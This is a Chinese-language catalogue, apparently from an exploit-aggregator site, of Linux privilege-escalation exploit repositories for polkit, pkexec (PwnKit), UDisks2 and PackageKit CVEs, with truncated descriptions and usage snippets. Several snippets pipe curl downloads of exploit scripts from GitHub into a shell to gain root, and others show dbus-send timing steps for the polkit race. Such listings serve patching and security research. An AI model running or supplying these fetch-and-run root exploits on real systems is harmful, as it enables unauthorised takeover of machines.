CVE-2021-3560

CVE-2021-3560 通过 polkit 中的条件竞争提升权限。 漏洞描述 CVE-2021-3560 是 polkit 中的一个条件竞争，允许未经授权的本地用户获取 root 权限。该漏洞存在于 polkit 在连接中断时处理 D-Bus 错误的方式中。 时间计算 要确定最佳时间，请执行以下命令： root@kitploit: time dbus-send --system --dest=org.freedesktop.Accounts --type=methodcall --print-reply /org/freedesktop/Accounts...

PwnKit

PwnKit 针对 CVE-2021-4034 的自包含漏洞利用程序 - Pkexec 本地权限提升 用法 在基于 Ubuntu、Debian、Fedora 和 CentOS 的易受攻击 Linux 发行版上应可开箱即用。 root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" 手动运行 root@kitploit: curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit ...

CVE-2021-3560_PoC

CVE-2021-3560PoC polkit 漏洞利用脚本 使用 polkit 服务自动提升至 root 权限的脚本 系统要求 SSH 服务器（以避免通过 GNOME 弹出身份验证窗口） 存在漏洞的 Linux 发行版： 发行版| 是否受影响？ ---|--- RHEL 7| 否 RHEL 8| 是 Fedora 20（或更早版本）| 否 Fedora 21（或更新版本）| 是 Debian 10（“buster”）| 否 Debian testing（“bullseye”）| 是 Ubuntu 18.04| 否 Ubuntu 20.04| 是 使用指南 root@kitploit:...

exploit-CVE-2021-3560

CVE-2021-3560 Polkit 漏洞利用 - 本地权限提升 喜欢这个仓库吗？给我们一个 ⭐ 吧！ 仅用于教育和授权的安全研究目的。 漏洞利用作者 @UNICORDev 由 @NicPWNs 和 @Dev-Yeoj 漏洞描述 研究发现，polkit 可能被欺骗，绕过 D-Bus 请求的凭据检查，将请求者的权限提升为 root 用户。该缺陷可能被无特权的本地攻击者利用，例如创建新的本地管理员。此漏洞最大的威胁在于数据机密性、完整性以及系统可用性。 漏洞利用说明 在运行存在漏洞的 Polkit 软件的系统上使用此漏洞利用，可添加一个具有 Sudo 权限的新用户。如果需要，可通过 CL...

CVE-2021-4034-pwnkit

CVE-2021-4034, PwnKit PwnKit 的概念验证，polkit 的 pkexec 中的一个本地权限提升漏洞。在默认安装下，任何非特权本地用户都可以成为 root。 关于该漏洞 存在漏洞的 pkexec 版本会错误处理进程参数计数。这使得受控的环境变量被重新引入 pkexec 的环境，最终以 root 身份运行攻击者控制的共享对象。该漏洞由 Qualys 研究团队于 2022 年 1 月 25 日披露，CVSS v3.1 评分为 7.8（高危）。NVD 条目为 CVE-2021-4034。 实际上，自 2009 年以来，几乎所有 polkit...

CVE-2019-13272

CVE-2019-13272 PTRACETRACEME 注意：该漏洞利用的Python3版本不需要任何外部源代码。以下列出的源码仅用于注明原始C语言漏洞利用的出处。 详情：https://bugs.chromium.org/p/project-zero/issues/detail?id=1903 利用可能性：极高 标签：ubuntu=16.04kernel:4.15.0-,ubuntu=18.04kernel:4.15.0-,debian=9kernel:4.9.0-, debian=10kernel:4.19.0- ,fedora=30kernel:5.0.9-...

CVE-2021-3560

CVE-2021-3560 Polkit - 本地权限提升 最初由 kevinbackhouse 在 GitHub Security Lab 发现 参考 https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/ https://www.youtube.com/watch?v=QZhz64yEd0g https://ubuntu.com/security/CVE-2021-3560 博客...

poppy

poppy : CVE-2021-4034 CVE-2021-4034 PoC，polkit 0.131 用法 已在 Arch Linux（Manjaro 和 Axyl OS）上测试 root@kitploit: git clone https://github.com/tahaafarooq/poppy make ./poppy 创建超级用户的漏洞利用 root@kitploit: bash -c "$curl -fsSL https://raw.githubusercontent.com/tahaafarooq/poppy/main/suuser.sh" root@kitploit:...

CVE-2021-4034

CVE-2021-4034 本仓库包含用于 cve-2021-4034 的单文件漏洞利用程序，该漏洞是 Polkit 本地权限提升漏洞。请谨慎使用！ 漏洞描述 CVE-2021-4034，通常被称为 Pwnkit ，是 Polkit 中 pkexec 组件的一个内存损坏漏洞。Polkit 是用于在类 Unix 系统中定义和处理授权的工具包。该漏洞源于对环境变量的不当处理，允许本地用户以 root 用户身份执行任意代码。 核心问题在于 pkexec 在解析环境变量之前未能正确地对其进行清理。这导致在某些情况下出现越界 写入条件，最终允许本地权限提升。该漏洞自 2009 年 pkexec...

CVE-2021-3560

CVE-2021-3560 Polkit - 本地权限提升 最初由 kevinbackhouse 来自 GitHub Security Lab 发现 参考 https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/ https://www.youtube.com/watch?v=QZhz64yEd0g https://ubuntu.com/security/CVE-2021-3560 博客...

CVE-2021-4034

CVE-2021- 在 polkit 的 pkexec 实用程序中发现了一个本地权限提升漏洞。pkexec 应用程序是一个 setuid 工具，旨在允许非特权用户根据预定义的策略以特权用户身份运行命令。当前版本的 pkexec 未能正确处理调用参数计数，最终导致将环境变量作为命令执行。攻击者可以通过精心构造环境变量来利用这一点，诱导 pkexec 执行任意代码。攻击成功执行后，可导致本地权限提升，使非特权用户获得目标机器的管理权限。 TryHackMe 链接 - tryhackme.com/jr/cve20214034...

CVE-2021-3560

CVE-2021-3560 CTF 一个针对ubunutu中polkit权限提升漏洞的简单poc脚本...

CVE-2021-4034-PwnKit-

CVE-2021-4034 PwnKit - 分析与利用 此仓库包含演示 CVE-2021-4034 漏洞利用的源代码，该漏洞也被称为 PwnKit ，发现于 pkexec（Polkit 包的一部分）。该缺陷允许通过使用恶意环境变量 本地提权至 root 。 ⚠️ 警告 此代码仅供 教育和研究目的 使用。不得在生产系统上或未经明确授权的情况下使用。滥用可能违法，并违反作者的使用条款。 🧠 技术描述 当 pkexec 在没有参数的情况下执行时（即 argc == 0），该漏洞出现。在这种情况下，pkexec 尝试访问 argv1 而不检查 argv0 是否存在，导致它读取...

CVE-2021-3560

CVE-2021-3560 - Polkit 本地权限提升 ⚠️ 仅用于教育和授权安全研究目的 原始漏洞利用作者 非常感谢原始 PoC 作者 @UNICORDev，由 @NicPWNs 和 @Dev-Yeoj 编写 描述 研究发现，polkit 可能被诱骗绕过 D-Bus 请求的凭据检查，从而将请求者的权限提升为 root 用户。非特权本地攻击者可以利用此漏洞，例如创建新的本地管理员。该漏洞对数据机密性、完整性以及系统可用性构成最高威胁。 演示 步骤指南 1. 安装 git，然后从 GitHub 仓库克隆脚本： root@kitploit: sudo apt install git...

CVE-2021-3560-Polkit-Privilege-Escalation

CVE-2021-3560-Polkit-权限提升 作者：Mark, Qingchen Yu 使用以下命令构建容器： root@kitploit: docker build -t . 运行容器： root@kitploit: docker run -it 1. 从 start.sh 开始 2. 测量执行时间： 注意 'real' 时间，并计算其一半。 root@kitploit: time dbus-send --system --dest=org.freedesktop.Accounts --type=methodcall --print-reply...

CVE-2025-6018-6019

CVE-2025-6018 CVE-2025-6019 PoC 漏洞利用 本地权限提升（LPE）- openSUSE / SUSE Linux Enterprise 15 适用于 CVE-2025-6018 和 CVE-2025-6019 的有效 PoC/漏洞利用 - 在 openSUSE Leap 15.x 和 SUSE Linux Enterprise 15.x 上实现从非特权用户到 root 的权限提升 🎯 快速摘要 CVE ID| 漏洞| 影响 ---|---|--- CVE-2025-6018| PAM 环境变量注入| 绕过以获取 allowactive polkit 状态...

CVE-2025-6019

CVE-2025-6019 PoC 针对 UDisks2 XFS 调整大小权限提升的简单概念验证。 文件 createpayload.sh：构建包含 SUID rootbash 载荷的 XFS 镜像。 exploit.sh：触发调整大小路径并启动 SUID shell。 要求 mkfs.xfs、udisksctl、gdbus、loginctl 一个 allowactive Polkit 会话（例如，物理控制台登录，或通过另一个漏洞（如 CVE-2025-6018）获得的会话） 由 createpayload.sh 生成的精心构造的 XFS 文件系统镜像 用法 1. 创建载荷镜像：...

CVE-2026-41651

🔥 CVE-2026-41651 — PackageKit TOCTOU 本地权限提升 Pack2TheRoot 针对 PackageKit 守护进程的本地权限提升漏洞利用程序。 通过 TOCTOU 竞态条件漏洞，将权限从非特权本地用户提升至 root。 📌 概述 CVE-2026-41651 （也称为 Pack2TheRoot ）是 PackageKit 中的一个严重 TOCTOU（检查时间到使用时间） 竞态条件漏洞。PackageKit 是许多 Linux 发行版用于包管理抽象的系统服务。 该漏洞允许本地非特权用户在特定条件下操纵 PackageKit 事务状态并绕过授权检查。 影响...

CVE-2021-4034

CVE-2021-4034 针对 polkit 提权利用的一日版 只需执行 make，再运行 ./cve-2021-4034，即可获得 root shell。 原始公告由真正作者发布在这里 PoC 如果利用成功，你将立即获得 root shell： root@kitploit: vagrant@ubuntu-impish:/CVE-2021-4034$ make cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-4034 echo "module UTF-8//...

CVE-2021-4034

CVE-2021-4034 这是 PwnKit 本地权限提升漏洞 的 PoC，由 Qualys Security Team 发现。 Qualys 研究团队发现 polkit 的 pkexec（一个 SUID-root 程序，默认安装在每个主流 Linux 发行版中）存在内存损坏漏洞。 概念验证 下图展示了该负载在基于 debian 的操作系统中的运行效果 使用方法 提供了两个 PoC，其中一个为自包含版本，不需要在易受攻击的端点（即 GCC）上安装任何依赖。 建议 立即建议移除 polkit 二进制/可执行文件的 SUID 位。...